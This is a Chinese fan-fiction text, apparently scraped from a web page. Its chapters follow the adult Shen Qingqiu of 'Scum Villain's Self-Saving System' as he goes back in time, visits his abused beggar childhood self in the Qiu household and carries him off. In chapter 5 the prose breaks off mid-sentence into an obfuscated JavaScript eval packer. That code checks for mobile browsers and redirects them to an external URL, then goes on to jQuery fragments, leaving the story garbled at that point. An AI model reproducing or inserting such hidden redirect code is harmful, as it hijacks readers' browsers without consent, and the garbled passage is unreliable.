《渣反同人记录》 1. (水仙)狂傲沈清秋x秋家乞丐九 1.少年九从沈九口中得知岳七不会回来 “别等了,岳七不会来的。” 青衣男子推开封印着黑暗的天窗,从房顶一跃而下。 他看了一圈周围的摆设: 毫不意外的柴房+小黑屋。 “你是谁?” 年幼的乞丐九警惕的看着“突然出现的年轻人”,生怕此人是个躲闪到这里的刺客。 乞丐九全身绷紧,神情紧张,手中掐着一丢丢少的可怜的灵气,聊以“震慑”。 虽然,这一丝灵气只能造成一点点小小的威力,但这已经是他最大的杀伤性武器了。 “我?你还不配知道。” 青衣男子看了一圈,丝毫不顾及地面的肮脏,展开下摆,在乞丐九的面前,跪坐于地。 体态端庄,优雅大方,一看就是大家子弟们,用资源堆积出来的从容淡定。 是乞丐九,最羡慕的那种人。 “不管你是谁,都不准你说岳七的坏话!” 乞丐九兀自坚持着信念,哪怕是眼前之人一看就很强,能带着自己脱离苦海,也不能容忍他对岳七的诋毁! “那你还想待在秋家等着吗?” 青衣男子折扇青摇,看向乞丐九的神情很复杂。有些怀念,又有些感叹。 青衣人,在想什么呢? 看来他不是“偶然进入的刺客”。 更像是——特意寻来? 是,为了谁呢? 自己吗?是自己素未谋面的家人吗?他们终于愿意寻找自己了吗! 还是……乞丐九垂下眼帘。 他,是为了……岳七吧。 “我……” 乞丐九低下眼眸,纠结的看着自己枯燥干瘪的手指,不知道该怎么回答。 如果,他能带自己脱离苦海, 那该多好啊。 可是……他对岳七,绝对有着什么! 如果他带自己离开秋家的条件和目的是威胁岳七,自己该怎么选择? “秋家少爷,你应该知道他是什么样的人吧?” 青衣男子轻飘飘的抛下一记重雷。 “可是……秋海棠她……” 乞丐九抬头,忍不住反驳——毕竟秋少爷再怎么变态,起码在秋海棠面前,还是会收敛许多的。 “所以你要为了秋海棠留在秋家?” 青衣男子扇子不再摇动,反而颇有兴趣的看向少年。 “不,我跟岳七约定好了……” 乞丐九拼命摇头,急忙反驳。 虽然……秋海棠很好,可是他想离开秋家的心,是从来不曾改变的。 “可岳七不会来的。” 青衣男子再次重复道。 并且这次的语气极重,像是想到了什么不好的事情。 乞丐九看着青衣男子的“昏暗”脸色,想也不想就反驳道: “不!他会来的!” 清风拂过,月光被乌云遮掩,天窗所能撒下的光亮被遮盖。 青衣男子隐于黑暗中,唯有一双透着诡异亮光的眸子: “如果他不来呢?” “那他一定是死了!我会找到他的尸体,为他挖坟填土,给他竖一个墓碑,上面写着“沈九的七哥,岳七之墓”。” 乞丐九神情激奋,像是完全不能接受这种“说法”。 “哇哈哈哈哈”眼前青衣男子笑出来眼泪,肩膀抖的折扇都拿不住了。泪眼朦胧间,竟不知是好笑,还是心疼: “岳七不会来的。而且他也没死。甚至光芒万丈,得贵人相助,高楼平地起。” “而你,是被抛弃的那个。” “不会的,岳七那个家伙,为了十五都……” 乞丐九碎碎念,像是在翻遍回忆,为自己的话语作证。 “哦。” 青衣人不知可否,手中折扇再次摇起。面无表情,不做表态。 突然间,乞丐九像是想到了什么,一脸希冀的对着青衣人道: “他一定是失忆了吧!” “没有。” 青衣人的回答简短又冷酷。 乞丐九顿了一下,像是想到了什么,再次发问: “那他一定是被人救了,不得不报恩吧?” “也没有。” “那他一定是被人困住了,所以没有办法来找我吧?” 青衣人像是被问住了,想了半天,给了个不确定的答案: “这个,应该也没有。” 得到青衣人的回答,乞丐九忍不住用脚狠狠向地面踩去,抓狂道: “那他为什么从不来找我?!他跟我不是约定好了吗?” 看见暴躁的乞丐九,青衣人终于给了点反馈。他把折扇收起,一脸思考的,严肃道: “这个问题,我也很好奇。” 甭管事实怎么样,现在的乞丐九已经陷入了癫狂思绪随风舞的状态: “我跟他的约定都是假的吗?” “大概是吧。” “岳七怎么可以这样!” “他就是这样了。” “我再也不要理他了!” “希望你说到做到。” 乞丐九气结,对着青衣人发火: “你这个人怎么可以这样?!” “哦。” 看见青衣人把自己气的半死,自己却悠哉悠哉的样子,乞丐九再次无能狂怒: “你回答呀!你怎么不回答呀?” 青衣人将折扇换到另一只手,饶有兴趣的看着乞丐九,缓慢问道: “你想让我怎么回答?” 乞丐九疯狂的帮岳七不来救自己找理由: “那你知不知道岳七是什么原因,他是不是有什么苦衷?” “嗯,不知道。” “他连句解释都没有吗?” “是吧。” “我不信,我要亲自去面见他,我要问问他。” “那你会问他什么呢?” “为什么他有了救我的能力却不来救我?” “哦。” “为什么他跟我约定了,却从不来找我?” “哦。” “他不知道我在秋府过得有多苦吗?他不是告诉过我,跟我约定过,一定会来救我出去吗?” “哦。” 大概是话赶话,也可能是天性本恶,乞丐九发出了最恶毒的诅咒: “为什么他还没死?他应该早点去死的!” “那你想杀了他吗?” “我……”看着青衣人闪着亮光的瞳孔,乞丐九感觉自己要被其中的黑暗吸入。虽然他神情激奋,却……没办法回应。 “呵。” 青衣人突然冷笑起来。一边笑,一边站起来,缓缓的收拾着衣服后摆。 “你冷笑什么?” 乞丐九看着青衣人“站起来准备离开”的举动,一时间慌了神,拼命拉着青衣人的衣袖,不让他离开。 青衣人看着自己被拉住的衣袖下摆,又看看“一脸稚嫩”的乞丐九,恶意和黑暗笼罩于他的脸上: “我笑你天真。笑你蠢。” “笑你现在还在做着,被人拯救的春秋大梦。” “笑你还一厢情愿的相信岳七。” 乞丐被青衣人脸上的恶意吓退,嘴上却硬气的不饶人: “你!” “你凭什么这么说?!” “你见到岳七了吗?你认识他吗?你了解他吗?他根本不是那样的人!” “呵。”青衣人不再回话,只一心把玩着手中的折扇。 看样子,随时准备从天窗离开。 乞丐九再次拉住青衣人的衣袖,势要他给出一个解释: “你说话呀!你根本就不认识岳七,怎么可以那样诋毁他?!” “滚!” 青衣人灵力暴动,柴房中积年累月的灰尘浮起,迷住了乞丐九的眼睛。 导致他,竟意外的觉得…… 青衣人,在哭? 2.沈九被少年九气走 青衣人走了。 乞丐九呆呆的蹲在原地。 他目光涣散的看着天窗留下的缝隙——那是青衣人离开时,愤恨的猛烈关窗,导致窗页变形,无法像之前一样,严丝合缝的,形成一个小黑屋。 他应该感谢他的。 不论是带来了岳七的消息,还是走的时候“给他留了丝月光”。 可是。 青衣人的性格真的好差。 他自己认识不到吗? 性情暴躁易怒, 还不愿意听人解释, 最重要的是,一直冷哼又傲然的样子,真的让乞丐九觉得自己被鄙视啊! 自己是打不过他了。 但是,那些打得过他的,就不想揍他吗? 这样的人,大概是没朋友的吧? 乞丐九默默的吐槽了一下青衣人那糟糕的性格,又忍不住为可怜的自己而担忧了。 如果说,岳七不会来救自己。 那么,乞丐九在秋家等待,是否过于“愚蠢”与“刻舟求剑”? 秋海棠固然很好, 可是秋少爷的存在,令乞丐九随时想逃离这里! 那么。 青衣人还会来吗? 他会带自己走吗? 他,专门来找自己的原因,是因为岳七,想要用自己“钳制”岳七吗? 还是……他是自己的家人,对自己稍微调查了一丢丢,又顺便调查了一下岳七呢? 甭管是那种情况。 现在的乞丐九,都很希望。 青衣人能再次到来,带自己走。 ———— 从秋家出来,沈清秋气的要死。 他也不是很明白自己为什么非要来看看“幼年间愚蠢的自己”。 更是难以忍受“乞丐时期的自己”对岳七充满了信赖! 凭什么! 岳七明明抛弃了自己, 乞丐时期的自己却还是把他当成唯一的光,想要“等待”来自岳七的救赎! 可是岳七呢! 他拜入苍穹山派后,可曾想起过自己? 若不是无厌子经过,自己恐怕早就成了秋家没有心的傀儡,或者早早死于秋家! 若不是无厌子偏要打新一代青年才俊储物袋的主意,自己就不会遇见岳七,更不会知道, 苍穹山派大名鼎鼎的穹顶峰首席——岳清源,就是那个曾经与自己约定,并毁约从未来过的岳七! 可是。 乞丐时期的自己。 对岳七。 是真的, 真的。 羡慕又信任啊。 沈九是个尖酸刻薄、口蜜腹剑、满是市井气息的,有点皮囊的真小人。 而岳七, 却能在一堆乞丐里,保持“忠厚”,尽可能的照顾弱小,维持乞丐间脆弱的、虚假的和平。 这样的岳七,沈九是非常羡慕的。 而且,这样的“老实人”,沈九也愿意把后背交给他,并且愿意把讨来的馒头分他一半—— 即使岳七会将这半块馒头分给其他人。 这样的岳七, 为什么,会变成岳清源?! 尤其是,对乞丐九不管不问, 对沈九兼沈清秋处处照顾的,掌门候选人? 当岳七变成岳清源的时候,沈九就当他死了! 沈清秋,是上任清静峰峰主所赐之名, 是他逆天改命、努力拼搏后的勋章! 沈九早就死了!死在了秋家! 死在了,犯上杀师的,罪恶中。 3.沈九警告少年九赶紧离开 又过了好几天,久到乞丐九认为青衣人已经离开,他们再也不会见面。 直到, 某个狂风暴雨的下午。 乞丐九再次在卧室里,遇见了。浑身发抖,又故作傲然的青衣人。 “你怎么啦?” 乞丐九虽然好奇他为什么能找到自己住的地方,但此时此刻,更想知道为什么青衣人一直在颤抖—— 是外面太冷了吗? 还是他过来时候淋雨风寒了? 亦或是,害怕暴雨打雷? 可惜,青衣人一贯傲娇又冷漠: “不用你管。” “那是,你……怕雷声?” 乞丐九想表达一下自己的关心,又忍不住说出自己的猜测。 当然,青衣人完全不会“友好回答”: “不是。” 乞丐九已经习惯了,反正这人就是不能好好说话,自顾自问就行: “那你……怕挨打吗?” “哦?”青衣人好像情绪稳定了一些,他浅浅的勾起一丝笑容,如底下钻出来的恶鬼一样,眼里盛满了亮晶晶、诱人深入的黑渊潭水: “说说?” “你这个家伙,明明是我问你。” 乞丐九被青衣人盯得不自在,忍不住打了个寒碜。他转头看了看外边氤氲的雾气,以一种谈心的态度说道: “说真的,我有点,想去找秋海棠。” “哦。” “又来了,你就不能配合点吗?”乞丐九忍不住翻个白眼,继续道: “每次下雨,秋少爷都没办法出门,心情就会不太好。他心情不好的时候,就喜欢打人。” “而秋海棠,能让秋少爷收敛。起码在大小姐那里,不会被他莫名其妙拉出去打一顿。当然,如果当时躲过去,后面被找到了……” “现在是下午。”青衣人突然“报时”。 可惜,乞丐九完全不能理解他的意思,径直顺着说道: “对啊,这场雨真是不懂事,若是晚上或深夜下雨就好了。” 看着“毫无感知”、“一脸单纯”的乞丐九,青衣人难得的解释道: “我的意思是,你要去就赶紧去。” “啊?那你怎么办?” 乞丐九忍不住看了青衣人一眼,“而且秋海棠现在应该在学习刺绣,我现在过去,不合适吧。” “那你打算?” “等晚上吃饭的时候吧……这么大的雨,风可真凉啊。” 看着完全不懂自己“好心”的乞丐九,青衣人直接冷呲: “呵。” 乞丐九完全不懂,为什么青衣人又莫名其妙的冷笑起来。之前不是还冻的打寒颤吗?难道是下雨天,性情更加诡秘莫测了? “喂!”乞丐九摸不准青衣人的意思,打算直接问: “喂,我是担心你,你看你这浑身颤抖的样子,更怕下雨的是你吧!” “滚!”青衣人随手将床边的枕头砸向乞丐九。 “嘿,还不让说。”乞丐九躲过“枕头袭击”,像是看见了有意思的玩具,惊奇又新鲜,忍不住拍胸膀道: “别怕,我哪也不去,我今天就守着你了!” “滚!你现在自身难保。”青衣人突然没头没尾的说了一句。 “嘿,你这人。”乞丐九从没见过性情如此恶劣的家伙,忍不住抬杠道: “话不能这么说,我现在是秋府小厮,还有秋家大小姐庇护,怎么算''自身难保''呢?也就是……偶尔被当成沙包打几顿,还好吧。” “是吗?那等会你别求我。” 青衣人冷冷的看了乞丐九一眼,往身上拍了一张符箓,身影立刻消失不见。 “?”乞丐九不是很能理解他的操作。但是隐隐感觉……青衣人似乎是专门冒雨过来的,尤其是,卡着下午的结点? 是因为…… 会发生什么不好的事情吗? 乞丐九心里突然有极其恐慌的预感: 这个青衣人,是不是知道点什么?他,专程过来,是不是有什么极其不好的事情要发生了? 还有,什么叫“待会别求他?” 青衣人到底是走了,还是隐身于周围? “喂!” “喂!” “你人呢!” “你走了吗?!” 没有人回应。 死一般寂静。 空气中,只有飞扬的尘土…… 和,声如鼓擂般,急速跳动的心。 ———— 天公不作美,暴雨倾盆、狂风怒号,天雷滚滚。 黑暗的雾色中,大批量的狂烈银蛇在雨中疯狂涌现,像是秋少爷心情不好时,甩在乞丐九身上的鞭子。 随着天色急剧暗下来,乞丐九的心里越来越焦急。他知道时间在一分一秒的流逝着,可是,青衣人的预警到底是什么意思! 他开始疯狂思考,要不要立刻去找秋海棠!毕竟在乞丐九心里,秋海棠是个苦难时候可以帮自己抵挡伤害的存在! 可是,青衣人呢!他到底在不在屋子里!如果他在这里,是不是能“庇护”自己一二! 这种鬼天气,从头到尾都透露着不安。 乞丐九心里不禁各种胡思乱想: 是灭门之祸吗? 月黑风高夜,杀人放火时。 这样的狂风暴雨中,如果想要抄家灭门,恐怕第二天太阳升起,痕迹都留不下一丝半点! 如果是这样,自己去找秋海棠,只怕死的更快!(普通仆人或许会被忽略,但是主子们的贴身护卫们,一定会死的很快!) 可惜,青衣人仿佛已经走远了,连之前随意敷衍的“哼”和“呵”,都不曾回应。 虽然乞丐九只与他见了两面,但乞丐九的心里,就是莫名感觉他很熟悉!至少他绝对不会害自己! 可是,他现在完全不理会自己的问话,以他的身法,就算是已经离开,乞丐九也完全察觉不到! 怎么办?怎么办! 乞丐九的呼吸越来越急促,他变得越来越焦虑,甚至开始厌恶青衣人的再次出现: 他若是没遇见青衣人,现在哪里需要思考这些! —— 或许是上天对乞丐九还是仁慈的,在乞丐九如无头苍蝇般四处走动时,秋少爷的贴身小厮,前来了。 “沈九?你在这晃晃悠悠干啥呢?” “啊,是秋恕大哥啊。”沈九小心翼翼的看了眼门外,确定只有秋恕一人后,从袖子里摸出几枚海棠酥,狗腿的举过去: “秋恕大哥,不知你今天过来是?” “呵,别想拿大小姐压我!”秋恕随手从沈九手中拿起一枚海棠酥,咬了几口吞下,提点道: “今天大少爷心情好,你过去卖个乖,叫得惨一点,尽量把伤口弄的吓人点,很快就过去了。” “啊……”沈九小心翼翼的问道:“大少爷今天,遇见什么开心的事情了?” “呵,你个小崽子,敢问少爷们的事情?” “不敢不敢,您喝茶,喝茶。”沈九赶忙替秋恕倒了杯茶水,推杯子过去。 “行吧,看着大小姐的面子上,我就跟你说一下。”秋恕抿了口茶水,赞了句:“你要是听话点,这沏茶功夫,还是不错的,也省得每次被打成那样。” “是,是,大少爷今天?” “大少爷最近得了个新宠,兴致正高着呢,想来是没空搭理你”秋恕示意沈九添茶: “你说你,当初既然显露了仙术,就好生交给大少爷不就行了?先是险些让大少爷摔倒,又是莫名其妙的''义气'',还被打死都不带吭声,偏又打不死,可不是个''非常好用的沙包''吗?” “您说得对,感谢秋恕大哥提点。”沈九连连道谢。 在沈九看来,阎王好过,小鬼难缠。秋大少虽然是打自己的主谋,但是后续的吃药养伤,都得靠底下人来做。 秋少爷那边一时半会是改不了了,但是和底下做事的打好关系,讨些好药和吃食,非常重要! 看秋恕吃饱喝足,沈九谨慎小心的询问: “不知这次?” “哎,”秋恕看了眼外面的天气,叹了句:“下雨天,大少爷没法出门,心情不好,想找个沙包发泄发泄。” “明白,明白。”沈九一边应声,一边将袖子里仅剩下的海棠酥送给秋恕: “您放心,我这次一定喊的特别惨,让大少爷听的开心。” “嗨,这就对了嘛,沙包就要有沙包的觉悟”秋恕掂量着手中的糕点,看着海棠形状提点道:“大少爷开心,好处还能少的了你的?” 秋恕打开门,走在前面。 沈九却看着突然出现的青衣人,被惊了一瞬。 “你,别去。” “?”沈九以为青衣人担心自己,安慰道:“我就是去做个沙包,喊的惨一些就行,死不了。” 青衣人嘴角抽搐了一下,看了眼外面的天气,又劝道:“去找秋海棠。” “哪能啊。”沈九不在意的挥了挥手,“大小姐能庇护一次两次,总不能天天去,再说了,秋恕都说最近大少爷心情不错,说不定抽几鞭就放我回来了。” “我说,去找秋海棠。” “哎,你就别管了,”沈九将雨伞打开,对着门口的青衣人道:“我走了。” 4.沈九带少年九脱离秋家 “我说你到底跟我有什么渊源啊?” “不是,你说句话呀?” “我第一眼看到你的时候,就有一种莫名其妙的熟悉感,你跟我是不是有血脉关系呀?” “嘿,有没有人说过你的性格很糟糕?” “喂!” “别吵!”青衣人的脸崩的紧紧的,眉毛皱的能夹死文字。 “嗨,这不是会说话吗?” “再吵把你扔下去!”青衣人左手双指并拢成剑诀,右手拉着沈九衣袖,于狂风暴雨间寻找方向。 “别别别,这是万丈高空的,你把我扔下去,我就摔成肉饼了。” 沈九听到青衣人的“威胁”,连忙示弱,生怕他真的一时兴起,让自己来一个无绳索版,高空蹦极。 “既然知道,就闭嘴。” 可惜,青衣人的言语威胁,并不能让沈九安静下来,很快,他就又化身为“十万个为什么”: “你别说,我看过镜子,咱俩长得还是有那么点像的。” “我跟你真的没有血缘关系吗?” “你不会是我素未谋面的家族中人吧?” “那你知道我的父母是谁吗?他们为什么要遗弃我?” “当年教给我仙术的是不是你们派来的人?” “你们是不是一直在暗中看着我?” “还有,岳七的消息,是你为了我打探的吗?” 叽叽喳喳的少年,犹如十万个鸭子,青衣人听的头上青筋暴起,咬牙切齿: “滚!” 感受到脚下灵剑的晃动,沈九忍不住向后贴去,靠紧青衣人,“嘱咐”道: “诶诶!!!你控稳点啊!要不然咱俩一起殉葬得了!” 青衣人感受到自己面前多了一人,身体一僵,继而沉声道: “你死我都不会死。” “哎呀,既然能说话,就不要这样阴阳怪气了。” 沈九见怪不怪,继续输出: “你知不知道你的性格很糟糕啊?” “话说你真的有朋友吗?” “我觉得像你这样应该是给人家帮忙,都会被嫌弃的吧?” 青衣人突然脸色极为难看,拽着沈九袖子的手松开,让沈九扔了下去。 “啊!!!!谋杀啊!!!” “住口!” 青衣人飞到沈九下方,拎着沈九的领子,像拽着野兔的后颈一般,在半空“吊”着沈九向前飞去。 “喂……手,手……脖子,我要被你勒死了!” “哼。”青衣人将沈九扔到飞剑上,松开了拽着衣领的手。 沈九忍不住“咳咳”了几声,转过头来,仰头对着青衣人开炮: “喂!我差点被你勒死了,你知道吗?人家说赐白绫上吊,也就是这样了吧!” “……”青衣人眼神飘忽了一下,吐出两个字“活该。” “嘿!你这人!” 伴随着周遭噼里啪啦打在结界上的暴雨,结界内,沈九的心情现在还平复不下来,需要靠抽混搭擦来舒缓内心的紧张。 刚才作死被扔下去,现在衣衫还是湿的,黏在身上,动一下都感觉湿漉漉的,难受的紧。 “喂,能不能帮我把衣服弄干?” 青衣人瞥了沈九一眼,随手施了个清洁诀,继续赶路。 “真是个奇怪的人。” 沈九终于不再“吵闹”,开始默默思考青衣人的举动。 事情需要从秋府说起。 当时自己拒绝了青衣人“去找秋海棠”的建议,疾步跟上秋恕,在即将踏入大少爷院落的时候。 青衣人突然出现,并从大雨中把自己像网鱼般捞起来,召唤出灵剑就走。 而这期间,无论沈九怎么打探消息,都得不到回应。 甚至把青衣人气急了,还会被扔下去来个高空抛物,画个完美的抛物线,再接着到灵剑上歇着。 所以。从青衣人的举动来看,应该是秋家大少爷,准备对自己做什么。 而青衣人,是专门过来阻止这件事的。 只是,青衣人大概对雨天有什么畏惧之感,出现的时候就颤抖的不成样子,整个人的情绪比上一次要更加诡异难辨,仿佛心神都不在一处。 旁的不说,光是“赶路”这件事,沈九都能感受到灵剑的“跌宕起伏”,外加上……不停的调头。 而且,青衣人仿佛不喜旁人接触? 只要自己不小心离的近了些,青衣人的身体僵硬的就像是被施了石化术,若不是还在“赶路”,怕是早被一袖子甩老远了。 ———— 青衣人的目的地终于到了。 是一个半山腰的山洞。 山洞外有藤蔓做掩护,里面铺有熊和狼的皮毛。看样子,还有之前囤积的一些木材和零零碎碎的糕点和烤肉。 “啊,我要我的床!皮草诶!我这辈子都没睡过这么柔软的皮毛~” 沈九在看见狼皮的一瞬间就爱上了,将狼皮从熊皮上取下铺平,幸福的在皮毛上打滚: “这个是你的临时居住地吗?” “这些皮草都是你打的吗?” 见青衣人不回话,沈九看着囤积的糕点疑惑发问: “我还以为修仙之人都会吃辟谷丹,没想到你会囤积这么多的烤肉和糕点啊~” “那,修仙之人,还要吃饭的吗?” “那些市井传闻中的灵丹妙药,到底真的存在吗?” “……”青衣人将灵剑擦拭干净,收回剑鞘中。 “修仙不老不死吗?” “那你们死之后,灵魂会回归地府,投入轮回吗?” 沈九在狼皮上打了会儿滚,抱着狼尾巴坐起来,幸福的蹭了蹭,看向青衣人: “你能带着我修仙吗?” “我也有一点点的灵气,但是他好像修炼不出来更多了。你能帮我看看吗?” “你真的和我没有血缘关系吗?我们长得真的很像的!” “……”青衣人将柴火升起,默默的将之前烤好的肉再次加热。 诱人的香气扑鼻而来,沈九吸了吸鼻子,更加兴奋了: “好香啊,你居然还会做饭呢!” “那你会包包子吗?你会炒菜吗?你会种菜放羊吗?” “听说我们这边是平原,在遥远的北方,还有一片特别大的草原。人们在上面养羊、放马,你去见过吗?” “御剑飞行的感觉怎么样啊?看你一直掉头寻找方向,是雨天不好控制吗?” “这世界真的有鬼怪吗?” “你除过妖吗?人家喊你大侠了吗?” 青衣人实在是忍受不了沈九对叽叽喳喳,终于开口,呵斥道:“……闭嘴!” “你快告诉我呀,我真的特别想知道!” 沈九眼睛里满是对未来的希冀,手上抱着蓬松的狼尾,一脸的,可爱? 这是曾经的沈九,完全不敢想象,也绝对不会出现的。 青衣人看着“如此活泼”的乞丐九,眼神复杂。 直到烤肉传来焦糊味,青衣人开口: “再叨叨,今天晚上没饭吃。” “别啊!我晚饭都没吃呢!”沈九哀嚎道:“你把我从秋家带出来,我现在连口水都没喝呢,怎么能不给饭吃?” —— 吃饱喝足,沈九精神百倍。 他看了眼“沉默寡言”的青衣人,发现他又陷入了那种“怀念过去”的神情和状态,忍不住叹口气: “虽然他看着年轻,但是修仙之人,驻颜有术。说不定他真实年纪已经七老八十了,缅怀过去,也是可以理解的嘛!” 不过…… “话说这边有水吗?”沈九边说边从篝火旁起身,打算探查四周环境。 青衣人被打断思绪,看着沈九的脸怔愣了一刻,眉毛一挑,下巴冲洞穴深处一点: “里面走一炷香,有溪流。你可以简单洗个澡,换身衣服。” “说的简单,我哪有什么换洗衣物啊。就算有,你半路把我拎出来,我也没来得及带出来啊。” 沈九冲青衣人努努嘴,随口吐槽着,拿起火折子就向洞穴深处走去。 看着沈九越走越远的背影,青衣人眼中怀念之色越发浓重,最后深深的呼出一口气。 像是放下了什么执念般,整个人,顿悟了。 5.少年九与沈九的相处 “你叫什么呀?我该怎么称呼你啊?” “你这么厉害,一定能收徒吧?” “你收我为徒嘛~我真的很想学习飞天遁地的仙术~” 沈九抱着毛绒狼尾在篝火旁悠哉悠哉的烤火,一晃一晃的,极为逍遥快活。 “我。”青衣人看着“悠哉的沈九”,像是回想起来什么,陷入自己的思绪中。良久,他抬起头,眼中有着迷茫: “我可能不会教人。不仅教不会他们什么,甚至还会嫉妒自己的弟子。” “甚至。落败之后,还死在了自己弟子的手上。” “不仅如此,还连累了整个山门。” 青衣人的悲伤太过明显,对比于之前的情绪从不外露,此时的他看起来极为脆弱。就像是……从河里取出的薄冰,稍微一点点力量,都能使他分崩离析,碎成渣渣。 “怎么可能!”沈九听到后极为激动:“是所有弟子,还是几个弟子?” “有什么区别吗,”轻到随风吹散的声音响起。青衣人的眼睛迷茫而散乱,连焦距都寻不到: “他们。最后都因我而死。他们不该遇上我,我是他们的罪人。” “你怎么可以这么想!” 沈九忍不住抓住青衣人的肩膀,想要将他从悲惨回忆中抽出来: “谁让他们死掉的,就该去找杀死他们的人寻仇!怎么能说''因你而死''?这不是欺软怕硬,欺负你有良知吗?!” “杀人的罪魁祸首都睡的安稳,你这个跟着一起倒霉的可怜人,怎么就成了罪恶之首?怎么就成了''你连累的他们,他们不该遇见你''?” “说这种话的人,要么是脑子有坑,要么是故意推脱责任,将一切罪恶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075129|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推到你身上!好让自己清清白白,恶心的要死!虚伪至极!” “可是,”青衣人眼中灰暗一片,瞳孔涣散,连眼白都几乎看不见: “我为人……也,没有朋友。” “甚至。还失手,弄死过同门师兄弟。” “我。见过了,另一个世界。那个人(指沈垣),与大家其乐融融。世界,也很美好。” “啊?”沈九听的直抽气,忍不住吐槽道: “你还知道你性格很糟糕啊!我就说嘛,你这种人怎么会有朋友?你们之间又没有友谊,就算是你好心,其他也没人会觉得啊!” “一个从来独来独往的人,突然帮助别人,其他人只会觉得他有利可图!怎么会对他心存好感呢?” “像你这样糟糕的性格,遇见事就不该上前。要不然就算不是你的错,谁让大家讨厌你呢,被讨厌的那个人,肯定是背锅的啊!” “哦。”青衣人默默听着沈九的''经验之谈'',眼帘垂下,看着地上倒映的火光—— 原来。长大后的自己,竟还不如年幼时期看得透彻! 真是痴长那么多年! 青衣人认真的注视着眼前轻松、愉悦的少年,心中感慨万分。 大概。是时间切入的对吧。 此时的沈九,没有见到“秋大少爷玩男宠”,也没有跟随无厌子浪迹江湖,更没有经历清静峰峰主对自己的“重视+叹息”。 此时的沈九。 潜力仍在,资质极佳。 心性虽然有些磨损,但乞丐时期见过太多人,反而磨砺出一颗七窍玲珑心,对事情一点就透。 又因秋府经历,对于如何与上位者接触,如何在下位者环绕中如鱼得水,如何快速寻找可靠庇护——了如指掌。 这样的。沈九。 多耀眼啊。 沈九,如果天道曾倾注一丝丝的运道,帮他早一些走出秋府。 未来,绝不可能会,那样…… 悲惨。 ———— “想什么呢?”沈九看着一直陷入回忆的青衣人,觉得他可真是个外表年轻,内心苍老的家伙。 于是,他禁不住问了出来: “你到底多大了呀?修仙真的可以驻容有术吗?看你的面相也就是个年轻人啊,怎么今天看起来,就跟个躺在村门口晒太阳的老爷爷似的,时不时就回忆个一整天?” “……”青衣人懒懒抬了下眼皮,对于沈九的描述,并不想评价。 虽然他学富五车,有一整个山峰的藏书。 可是。竟真不如沈九这“简约描述”的杀伤力大! 稚子虽不懂诗书,却胜在纯粹天真,能够一语道破事物本质。 “好吧,不愿意说就算了,那你叫什么啊?总不能一直''喂,喂,喂''的喊你吧?” 沈九看着“为难”的青衣人,打算换一个话题。毕竟他是个体贴人心的好孩子,绝对不会跟人计较难堪的问题! 青衣人下意识拿出折扇,手指在折扇轻点。嗯,指如削葱根,细腻白皙,一看就不是干活的料。 “喂,名字也不行吗?”沈九觉得这个人可真不地道,哪怕不愿意说真名,说个假的,让自己能称呼他,也是可以的啊! 行吧,看来还是要自己先“自报家门”才行! 沈□□着江湖中人,用一个手窝成拳,另一个手盖上去,向前推了一下: “在下沈九,敢问阁下怎么称呼?” “噗”大概是沈九的表情太过严肃,也可能是他左手握拳的原因,还可能是他这半文不白的话语实在有趣。 青衣人,突然笑了。他收敛神色,认真的对着沈九说道: “我叫,沈清秋。” 即使,他一度很讨厌“秋”。 即使,他因为这个名字被洛冰河讽刺伪君子多次。 即使,在另一个世界,有人用这个名字和洛冰河苟合到天下皆知。 但,这是上届清静峰峰主赐名,是他拼搏那么久的勋章。 是,与“沈.乞丐九”完全割裂的全新未来。 “沈清秋?”沈九重复了一下,“挺好的名字,为什么你始终不愿意告诉我呢?” 沈九又坐回熊皮上,将狼尾巴抱在怀里撸啊撸,狠狠的吸了一口,满脸不解: “是''清秋''听起来像女子的原因吗?” “噗,大概是吧。”沈清秋看着目前满是幼气的沈九,忍不住内心柔软,揉了揉他的头发: “我不会收你为徒。” “为什么!”沈九将沈清秋的手打掉,脸颊气的鼓鼓的:“是你收的徒弟太糟糕,所以再也不想收徒吗?” 沈清秋用折扇轻轻敲了一下沈九的脑袋:“没大没小” 不过,他还真一时半会不知道该怎么解释—— 难不成要告诉他,我是几十年后的你,所以我不好意思收自己为徒,更想象不出来自己喊自己为师的画面? 算了,就让他当成“自己被之前徒弟吓到”好了。起码也算是个说得过去的理由。 不过。 沈清秋眼神一冷:他都不知道自己“回到”幼年期的契机是什么,说不定此时此刻还深陷在洛冰河的梦境中。 更有甚者,眼前这个“沈九”,说不定是洛冰河(冰哥)假扮! 别怀疑,以洛冰河的梦魇术,完全做得到! 更何况,洛冰河的天魔之血不死不灭,还能变换身体大小。 这样的人,不得不防。 沈清秋心中百转千回,说出的话却是: “你不是想找岳七吗?岳七拜入了苍穹山派,此地距离苍穹山派不过百里,正巧这几日是新弟子入门考核的时间,若是你想去,我随时可以送你。” “啊?”沈九眼睛瞪得大大的:“岳七在这里?他真的没死?还……拜入了苍穹山派?” 沈九将狼尾丢掉,在洞中焦急的来回转圈: “你真没骗我?” “我骗你做什么?” 沈清秋眼角上扬,倾出一道细微的笑: “心心念念的岳七就在附近,可要去看一眼?” 沈九看着沈清秋“含笑的眼睛”,一时间,愣住了: “你笑起来真好看!就该多笑笑!” “滚!” 沈清秋突然发火,一道灵气冲着沈九袭去,令沈九“哐当”摔倒在地上。 “咦(四声)—”沈九慢慢爬起来,边揉屁股边皱眉:“你这人怎么又这样!喜怒无常!” “呵—”一想到刚才沈九的“多笑笑”,沈清秋就浑身恶寒。忍不住想起来——洛冰河那小畜生。 他的疑心病又犯了,甚至开始怀疑,眼前的沈九,是洛冰河假扮的。 而目的,就是在骗自己一次,让自己道心破碎,看自己狼狈不堪的样子,继而取悦于他! ———— 沈九对于沈清秋的性格多变,已经有了极为深刻的了解。 其中包括且不限于:生气了会骂人,会用灵力攻击人;不开心就把人从飞剑上扔下去,提人后领制造吊死鬼;心情不好会拿着烤的香喷喷的烤肉却不让你吃…… 真是,短短两次见面,就让他深刻体会到了,与一个性格糟糕的家伙接触,真是“度日如年”啊!! 此时,沈九看向沈清秋的表情,都快称得上“哀怨”了。 